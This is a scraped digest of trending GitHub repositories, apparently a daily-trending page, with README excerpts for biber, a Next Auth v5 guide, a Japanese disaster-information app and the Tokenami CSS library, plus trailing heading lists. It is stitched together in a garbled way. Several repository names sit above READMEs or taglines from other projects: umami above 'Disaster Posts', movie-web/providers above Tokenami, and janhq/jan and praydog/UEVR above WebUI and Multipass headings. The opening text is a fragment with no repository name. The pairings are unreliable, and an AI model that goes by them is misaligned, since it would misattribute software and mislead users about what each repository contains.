Displays available network interfaces (e.g. Wired/Wireless, Cellular connection, Access Point, IPSec tunnel) with detailed statistical information (e.g. MTU, Linespeed, Downloaded bytes, Uploaded bytes).

Limitations

Reveil is not breaking any sandbox rules, so it can't fetch some information shown below:

CPU frequency
CPU temperature
Battery temperature
Installed applications
Installed tweaks

...

And not limited to the above.

License

Reveil is licensed under the MIT License.

plk/biber

2024-01-03T01:38:56Z

Backend processor for BibLaTeX

OVERVIEW

Biber is a sophisticated bibliography processing backend for the LaTeX biblatex package. It supports an unsurpassed feature set for automated conformance to complex bibliography style requirements such as labelling, sorting and name handling. It has comprehensive Unicode support.

Please note--the default download for all platforms is 64-bit. Please look in the files section for the correct 32-bit platform instead of using the default download button if you want 32-bit.

REQUIREMENTS

Biber is written in Perl with the aim of providing a customised and sophisticated data preparation backend for biblatex.

You do not need to install Perl to use biber--binaries are provided for many operating systems via the main TeX distributions (TeXLive, MacTeX, MiKTeX) and also via download from SourceForge.

You only need a Perl installation to use biber in one of the following cases:

A binary version is not available for your OS/platform.
You wish to keep up with all of the bleeding-edge git commits before they are packaged into a binary.

For the vast majority of users, using the latest binary for the OS/platform you are using will be what you want to do. For details on the requirements for installing the Perl program version, please see the biber PDF documentation.

The git repository for Biber is kept on github:

https://github.com/plk/biber

INSTALLING

If you wish to install from the source, make sure you have permissions to install Perl modules, get the source and from the top-level source directory, do:

perl Build.PL
./Build installdeps
./Build install

biber should now be available in your path, run biber --version to verify.

SUPPORT AND DOCUMENTATION

After installing, biber --help will give you the basic documentation.

The latest PDF documentation can be found here:

https://sourceforge.net/projects/biblatex-biber/files/biblatex-biber

More information, bugfix releases, forums and bug tracker are available at:

https://github.com/plk/biber

BUILDING

If you wish to build you own binary, see the main biber PDF documentation and particularly the included BUILDERS.README file The PDF documentation is in the documentation folder for the release on Sourceforge.

LICENCE

This module is free software. You can redistribute it and/or modify it under the terms of the Artistic License 2.0.

This program is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose.

AntonioErdeljac/next-auth-v5-advanced-guide

2024-01-03T01:39:22Z

Next Auth v5 - Advanced Guide (2024)

This is a repository for Next Auth v5 - Advanced Guide (2024)

VIDEO TUTORIAL

Key Features:

🔐 Next-auth v5 (Auth.js)
🚀 Next.js 14 with server actions
🔑 Credentials Provider
🌐 OAuth Provider (Social login with Google & GitHub)
🔒 Forgot password functionality
✉️ Email verification
📱 Two factor verification
👥 User roles (Admin & User)
🔓 Login component (Opens in redirect or modal)
📝 Register component
🤔 Forgot password component
✅ Verification component
⚠️ Error component
🔘 Login button
🚪 Logout button
🚧 Role Gate
🔍 Exploring next.js middleware
📈 Extending & Exploring next-auth session
🔄 Exploring next-auth callbacks
👤 useCurrentUser hook
🛂 useRole hook
🧑 currentUser utility
👮 currentRole utility
🖥️ Example with server component
💻 Example with client component
👑 Render content for admins using RoleGate component
🛡️ Protect API Routes for admins only
🔐 Protect Server Actions for admins only
📧 Change email with new verification in Settings page
🔑 Change password with old password confirmation in Settings page
🔔 Enable/disable two-factor auth in Settings page
🔄 Change user role in Settings page (for development purposes only)

Prerequisites

Node version 18.7.x

Cloning the repository

git clone https://github.com/AntonioErdeljac/next-auth-v5-advanced-guide.git

Install packages

npm i

Setup .env file

DATABASE_URL=
DIRECT_URL=

AUTH_SECRET=

GITHUB_CLIENT_ID=
GITHUB_CLIENT_SECRET=

GOOGLE_CLIENT_ID=
GOOGLE_CLIENT_SECRET=

RESEND_API_KEY=

NEXT_PUBLIC_APP_URL=

Setup Prisma

npx prisma generate
npx prisma db push

Start the app

npm run dev

Available commands

Running commands with npm npm run [command]

command	description
`dev`	Starts a development instance of the app

umami-software/umami

2024-01-03T01:39:22Z

JP | EN

Disaster Posts （仮）

概要

このアプリは、災害時における情報共有を目的としたアプリです。
技創クラブ Discordサーバーでの開発を行っています。

開発方針

基本的にタスクはIssueベースで管理します
作業開始前にIssueを作り、できればその作業が必要かどうか合意を取りましょう
Issueにアサインして開発していただきます
優先度はProjectsを参照してください
議論したい内容が発生したらDiscussionを立ててください

開発環境

フロントエンド

バックエンド

開発環境構築

フロントエンド

このリポジトリをクローンする

git clone https://github.com/tech-creative-club/disaster-posts

ディレクトリに移動する
```
 cd disaster-posts
```
パッケージをインストールする
```
yarn install
```
開発サーバーを起動する
```
yarn dev
```
http://localhost:3000 にアクセスする

バックエンド

(準備中)

Issue

バグ
要望
改善案

があれば、Issueに投稿してください。

コントリビューター行動規範

行動規範をお読みください。

デプロイ

(準備中)

ライセンス

(準備中)

movie-web/providers

2024-01-03T01:39:22Z

Atomic CSS in the style attribute. Type-safe static styles with theming, responsive variant support, and no bundler integration.

Tokenami

Atomic CSS in the style attribute.

Type-safe static styles with theming, responsive variant support, and no bundler integration.

Why another CSS library?

CSS-in-JS solutions that rely on style injection won't be recommended by the React team going forward, and instead they suggest the following:

Our preferred solution is to use <link rel="stylesheet"> for statically extracted styles and plain inline styles for dynamic values. E.g. <div style={{...}}>

In other words—write CSS like we used to. But what about the benefits that CSS-in-JS gave us?

There are CSS-in-JS solutions that extract static rules from your template files into external .css files, however, these approaches often require bundler integration and come with build-time limitations.

The learning curve can be intimidating but developers invest regardless so they can have type errors and intellisense for their design system tokens as well as style deduping, critical path CSS, scoping, and composition.

Tailwind CSS adopts a different strategy to achieve these goals:

We can style inline to prototype quickly
Editor extensions for intellisense based on your theme
Statically generated styles with a simple CLI script, no bundler integration
Atomic CSS so styles have a cap on how large they can grow

On the flip side:

Removing values from your theme won't flag redundant references
We must memorise Tailwind's custom class names which spawns things like the Tailwind Cheatsheet
Specificity issues when composing unless we use third-party packages like tailwind-merge
Styling inline can be unpleasant to maintain, resulting in third-party packages like cva
Classes must exist as complete unbroken strings
Debugging in dev tools is tricky because styles are spread across atomic classes

Introducing Tokenami

Tokenami aims to improve some of these areas by using CSS variables instead of CSS properties in the style attribute, and bringing all necessary tools under one roof. It features:

Simple naming convention—use the CSS properties you already know, prefixed with double-dash
Smaller stylesheet made possible by atomic CSS variables
Config file for defining your theme
Feature-rich intellisense when authoring styles
Fully typed style attribute for ad-hoc styles, including media queries and pseudo-classes/selectors
A tiny css utility with variants, and responsive variants support
Seamless composition across component boundaries using the css utility
Runtime style support e.g. style={{ '--color': props.color }}
Aliasable properties e.g. style={{ '--p': 4 }} for padding
Custom selector support enabling sibling or descendant selectors
Improved debugging experience in dev tools
Statically generated styles
No bundler integration

[!Warning] This is a pre-alpha version of tokenami so there will be bugs and missing features. Please check the existing issues for planned features/known bugs before creating new ones.

Demo

https://github.com/tokenami/tokenami/assets/175330/77070822-25af-4b06-a92a-965188ed3a62

Getting started

Tokenami offers a CLI tool for generating static styles, and a TypeScript plugin to enhance the developer experience. An optional CSS utility is also provided and recommended when composing across component boundaries.

Installation

Install and initialise using your package manager of choice. For example:

npm install @tokenami/dev @tokenami/ts-plugin -D
npx tokenami init

Configure TypeScript

Add Tokenami to include and plugins in your tsconfig.json or jsconfig.json.

{
  "include": [".tokenami/tokenami.env.d.ts", "**/*.ts", "**/*.tsx"],
  "compilerOptions": {
    "plugins": [{ "name": "@tokenami/ts-plugin" }]
  }
}

Make sure your editor is configured to use the project's version of TypeScript. You can find instructions for various editors in their documentation, such as for VSCode here.

Start the CLI watch script

Run the CLI tool to scan your template files for tokenami properties and build your CSS. This would usually exist as a script in your package.json.

npx tokenami --output ./public/styles.css --watch

Make sure to adjust the output path to your desired location for styles. It will use ./public/tokenami.css by default if omitted.

Use Tokenami

Reference your output CSS file in the <head> of your document and start styling inline with Tokenami properties:

<h1 style={{ '--margin-top': 0, '--margin-bottom': 5 }}>Hello, World!</h1>

Core concepts

Theming

Tokenami relies on your theme to provide design system constraints. Since there's no predefined theme, you need to add your own to the .tokenami/tokenami.config. For example:

module.exports = createConfig({
  // ...
  responsive: {
    medium: '@media (min-width: 700px)',
    large: '@media (min-width: 1024px)',
  },
  theme: {
    color: {
      'slate-100': '#f1f5f9',
      'slate-700': '#334155',
      'sky-500': '#0ea5e9',
    },
    radii: {
      rounded: '10px',
      circle: '9999px',
      none: 'none',
    },
  },
});

The keys in your responsive and theme objects can be anything you wish. These keys will be used to name your tokens (more on this later).

Styling

With your theme set up, there are only a few rules to remember:

A Tokenami property is any CSS property prefixed with double dash, e.g. --font-size. Use --- (triple dash) to add custom CSS variables to an element.
A Tokenami token is any theme key followed by a value identifier, separated by an underscore. For example, a color object in theme with a red-100 entry maps to var(--color_red-100).
Properties can include selectors like media queries, pseudo-classes, and pseudo-elements separated with an underscore. For instance, --hover_background-color, --md_hover_background-color.

Grid values

Tokenami uses a grid value for spacing. Properties like padding and margin are multiples of this when passed a numeric value. For example, with a grid set to 4px, using --padding: 2 adds 8px of padding to your element.

By default, Tokenami sets the grid to 0.25rem but you can override it:

module.exports = createConfig({
  // ...
  grid: '10px',
});

Arbitrary values

You can avoid TypeScript errors for one-off inline values by using a triple dash fallback. For instance, --padding: var(---, 20px) prevents errors and sets padding to 20px.

Tokenami intentionally adds friction to the developer experience here. This is to encourage sticking to your theme guidelines and to help you quickly spot values in your code that don't.

Responsive styles

Define responsive rules in the responsive object in your config. This can include @container queries:

module.exports = createConfig({
  // ...
  responsive: {
    medium: '@media (min-width: 1024px)',
    'medium-self': '@container (min-width: 400px)',
  },
});

Use by following the property spec:

<div style={{ '--medium_padding': 4 }} />

Responsive rules can also be combined with selectors:

<div style={{ '--medium_hover_padding': 4 }} />

For documentation on responsive variants, refer to the CSS utility section.

Animation

Add keyframes to your config and reference them in your theme:

module.exports = createConfig({
  // ...
  keyframes: {
    wiggle: {
      '0%, 100%': { transform: 'rotate(-3deg)' },
      '50%': { transform: 'rotate(3deg)' },
    },
  },
  theme: {
    anim: {
      wiggle: 'wiggle 1s ease-in-out infinite',
    },
  },
});

Use by following the token spec:

<div style={{ '--animation': 'var(--anim_wiggle)' }} />

CSS utility

Tokenami provides a CSS utility to abstract styles from your views and correctly merge styles across component boundaries. It also provides a variants API.

Installation

Install using your package manager of choice. For example:

npm install @tokenami/css

Usage

Import and use the utility directly:

import { css } from '@tokenami/css';

function Button({ size, style, ...props }) {
  return <button {...props} style={button({ size }, style)} />;
}

const button = css(
  { '---padding': 4 },
  {
    size: {
      small: { '--padding': 2 },
      large: { '--padding': 6 },
    },
  },
  { responsive: true }
);

The first parameter passed to the css utility represents your base styles, the second is for optional variants, and the third enables responsive variants.

Responsive variants allow you to prefix the variant name with a responsive key from your configuration. For example, the following button will apply the large size variant at the medium breakpoint:

function Button() {
  return <button style={button({ medium_size: 'large' })} />;
}

Adding responsive: true will generate the atomic CSS for the responsive variants regardless of whether they're used so this is purposefully opt-in to allow greater control.

Overrides

The function returned by the css utility accepts your chosen variants as the first parameter, and then any number of overrides as additional parameters. Overrides can be applied conditionally and last override wins.

function Button(props) {
  const { size, style, ...buttonProps } = props;
  const disabled = props.disabled && { '--opacity': 0.5 };
  return <button {...buttonProps} style={button({ size }, disabled, style)} />;
}

Overrides can also be used for compounding variants:

function Button(props) {
  const { variant = 'primary', outline = true, style, ...buttonProps } = props;
  const isPrimary = variant === 'primary';
  const primaryOutlined = isPrimary && outline && { '--background-color': 'transparent' };

  return <button {...buttonProps} style={button({ size, outline }, primaryOutlined, style)} />;
}

TypeScript

Use the Variants type to extend your component prop types:

import { type Variants, css } from '@tokenami/css';

type ButtonElementProps = React.ComponentPropsWithoutRef<'button'>;
interface ButtonProps extends ButtonElementProps, Variants<typeof button> {}

function Button(props: ButtonProps) {
  const { size = 'small', style, ...buttonProps } = props;
  return <button {...buttonProps} style={button({ size }, style)} />;
}

const button = css(
  { '---padding': 4 },
  {
    size: {
      small: { '--padding': 2 },
      large: { '--padding': 6 },
    },
  }
);

Advanced

Selectors

Tokenami provides some common default selectors for you but you can define your own custom selectors in the selectors object of your config.

Use the ampersand (&) to specify where the current element's selector should be injected:

const { createConfig, defaultConfig } = require('@tokenami/dev');

module.exports = createConfig({
  // ...
  selectors: {
    ...defaultConfig.selectors,
    'parent-hover': '.parent:hover > &',
  },
});

Use by following the property spec:

<div className="parent">
  <img src="..." alt="" />
  <button style={{ '--parent-hover_font-weight': 'bold' }} />
</div>

Selectors can also be combined with responsive rules:

<button style={{ '--medium_parent-hover_font-weight': 'bold' }} />

Nested selectors

Use an array value for custom selectors to generate nested rules:

module.exports = createConfig({
  // ...
  selectors: {
    ...defaultConfig.selectors,
    hover: ['@media (hover: hover) and (pointer: fine)', '&:hover'],
  },
});

This example will apply hover styles for users with a precise pointing device, such as a mouse, when --hover_{property} is used.

Aliases

Aliases allow you to create shorthand names for properties or other aliases. When using custom aliases, the css utility is recommended. It ensures properties are merged correctly across component boundaries.

Configure utility

In your .tokenami/tokenami.config file, change the @tokenami/dev import to @tokenami/css:

- const { createConfig } = require('@tokenami/dev');
+ const { createConfig } = require('@tokenami/css');

Then create a file in your project to configure the utility. You can name this file however you like, e.g. css.ts:

// css.ts
import { createCss } from '@tokenami/css';
import config from '../.tokenami/tokenami.config';

export const css = createCss(config);

Now you can import the utility from the file you created and it will handle aliases correctly.

Create aliases

The configuration expects the name of your new alias followed by an array of properties or aliases that it should replace when passed as an override to the css utility.

module.exports = createConfig({
  // ...
  aliases: {
    p: ['pt', 'pr', 'pb', 'pl', 'px', 'py', 'padding'],
    px: ['pl', 'pr', 'padding-left', 'padding-right'],
    py: ['pt', 'pb', 'padding-top', 'padding-bottom'],
    pt: ['padding-top'],
    pr: ['padding-right'],
    pb: ['padding-bottom'],
    pl: ['padding-left'],
  },
});

With the above config, p is shorthand for pt, pr, pb, pl, px, py, and padding. This allows the css utility to remove those properties when --p is passed as an override:

const button = css({ '--pr': 4 });

function Button(props) {
  return <button style={button(null, props.style)} />;
}

function App() {
  return <Button style={{ '--p': 10 }} />;
}

In this example, Button will have 10 padding on all sides because we configured --p to take precendence over --pr when passed as an override. Without this config, the button would have 4 padding on the right because longhand properties have higher specificity in the atomic stylesheet.

Mapping properties to theme

Tokenami provides sensible defaults to restrict which values can be passed to properties based on your theme. For instance, --border-color will only accept tokens from your color object in theme, --padding allows multiples of your grid, and --height expects tokens from a size key or multiples of your grid.

You can customise the default configuration by overriding the properties object:

const { createConfig, defaultConfig } = require('@tokenami/dev');

module.exports = createConfig({
  theme: {
    container: {
      half: '50%',
    },
    pet: {
      cat: '"🐱"',
      dog: '"🐶"',
    },
  },
  properties: {
    ...defaultConfig.properties,
    width: ['grid', 'container'],
    height: ['grid', 'container'],
    content: ['pet'],
  },
});

With this configuration, using '--content': 'var(--container_half)' would error because container does not exist in the property config for content, but '--content': 'var(--pet_dog)' would be allowed:

<div
  style={{
    '--width': 75 /*  300px with a 4px grid */,
    '--height': 'var(--container_half)',
    '--after_content': 'var(--pet_cat)',
  }}
/>

Browserslist

Tokenami only supports browserslist in your package.json. You can use it to add autoprefixing to your CSS properties in the generated CSS file. However, it currently doesn't support vendor-prefixed values, which is being tracked in this issue.

Continuous Integration

To improve performance during development, Tokenami widens its types and uses the TypeScript plugin for completions. Using tsc in the command line defaults to these widened types so it will not highlight errors for your properties or tokens. To get accurate types for CI, do the following:

Create a CI project config

Create a file named tsconfig.ci.json or jsconfig.ci.json. It should extend your original config and include the CI-specific Tokenami types:

{
  "extends": "./tsconfig.json",
  "include": [".tokenami/tokenami.env.ci.d.ts", "**/*.ts", "**/*.tsx"]
}

Reference CI project config

For CI, use tsc with your new configuration:

tsc --noEmit --project tsconfig.ci.json

Support

Before raising a bug, please double-check that it isn't already in my todo list. Some common pitfalls are listed below. If you need additional support or encounter any issues, please don't hesitate to join the Tokenami discord server.

HMR not working as expected in Remix

When adding the stylesheet to the links export, make sure to import it instead of referencing a path in the href property:

import styles from '~/tokenami.css';

export const links: LinksFunction = () => [{ rel: 'stylesheet', href: styles }];

If your stylesheet is outside the remix app directory, update remix.config.js to include it in watchPaths and update the import path appropriately.

Efficiency of Tokenami's attribute substring selectors

Attribute substring selectors are known for being less efficient than other simpler selectors, however, they are unlikely to significantly impact performance in most cases. Despite being relatively less efficient, modern browsers handle these selectors well enough that the performance impact would be minimal for typical applications.

Comparatively, historical CSS-in-JS solutions involved style injection techniques which could significantly hinder performance. In this context, attribute substring selectors will offer a considerable improvement.

Supported frameworks

Tokenami is in early stages of development and currently only supports applications built using React or SolidJS.

Credits

A big thanks to:

Tailwind CSS for inspiring most of the features in Tokenami
Stitches for variants and responsive variants inspiration
CSS Hooks for custom selectors inspiration

Please do take the time to check these libraries out if you feel Tokenami isn't quite right for you.

youssefHosni/Getting-Started-with-Generative-AI

2024-01-03T01:25:09Z

A curated list of articles and tutorials to start with and understand generative AI

kevinchwong/leetcode-intensive

2024-01-03T01:25:09Z

Leetcode Intensive tutorial and study guide generated by llama-index, networkx, scikit-learn and pydantic

blindma1den/Programming-Skills-Level0

2024-01-04T01:25:26Z

This repository contains a series of entry-level exercises that can be solved in any programming language. The purpose of these exercises is to develop your programming logic. This repository is the first in a series of more exercises to improve your programming skills.

OSCPU/ysyxSoC

2024-01-04T01:40:49Z

helloqyg/MettShort

2024-01-03T01:39:54Z

2023热门短剧微短剧可运营版本，包含微信小程序、抖音小程序、APP、公众号多个版本。也支持微信小程序媒资管理、虚拟支付、微短剧等各模块功能。包含批量导入、各种视频格式的支持、saas多开、分销商分销、卡密兑换、分享海报、自动切换、小程序流量主等众多功能。

wudengyao/admin_vue3_vite

2024-01-03T01:39:54Z

项目技术栈：Vue3 + JavaScript + Vite4

jaaksii/sublink

2024-01-03T01:39:54Z

📷 Create beautiful images of your source code

100DaysofYARA/2024

2024-01-04T01:41:33Z

Rules shared by the community from 100 Days of YARA 2024

webui-dev/zig-webui

2024-01-03T01:40:37Z

Use any web browser as GUI, with Zig in the backend and HTML5 in the frontend.

GitHub 1C Enterprise Daily Trending

AntonioErdeljac/next-auth-v5-advanced-guide

Join Our Community

Introduction

Main Contributors

Live Demo

Disclaimer

Installation

Usage

Roadmap

Citation

License

Acknowledgements

ublue-os/bazzite

Table of Contents

About & Features

Desktop

Steam Deck/Home Theater PCs (HTPCs)

GNOME

Features from Upstream

Universal Blue

Features from Fedora Linux (Kinoite & Silverblue)

Why

Showcase

Documentation & Newsletters

Custom Packages

Verification

Contributor Metrics

Special Thanks

Build Your Own

Join The Community

janhq/jan

WebUI v2.4.2

Download

Contents

Features

Showcase

UI & The Web Technologies

Why Use Web Browsers?

How Does it Work?

Runtime Dependencies Comparison

Documentation

Build

Examples

Wrappers

Supported Web Browsers

License

Stargazers

jvisser/golden-axe-32x-edition

Sh4yy/tiny-stack

grbrlks/its-wednesday-my-dudes

osalinasv/uuid-webapp

DaytimeCoderr/RobloxPingOptimizer

msdirtbag/AzureDiagnosticSettings

Azure/maximo

TobyAdd/GDH

GDH: Now for 2.2!

GDH - Free, integrated and first Geometry Dash mod menu for 2.2!

How to use?

Development

geode-sdk/geode

Home page

Why Geode?

"Hello World!" Example

Documentation

Contribution

Questions, help, etc.

praydog/UEVR

What is Multipass?

Project Status

Install Multipass

Usage

Find available images

Launch a fresh instance of the current Ubuntu LTS

Check out the running instances

Learn more about the VM instance you just launched

Connect to a running instance

Run commands inside an instance from outside

Stop an instance to save resources

Delete the instance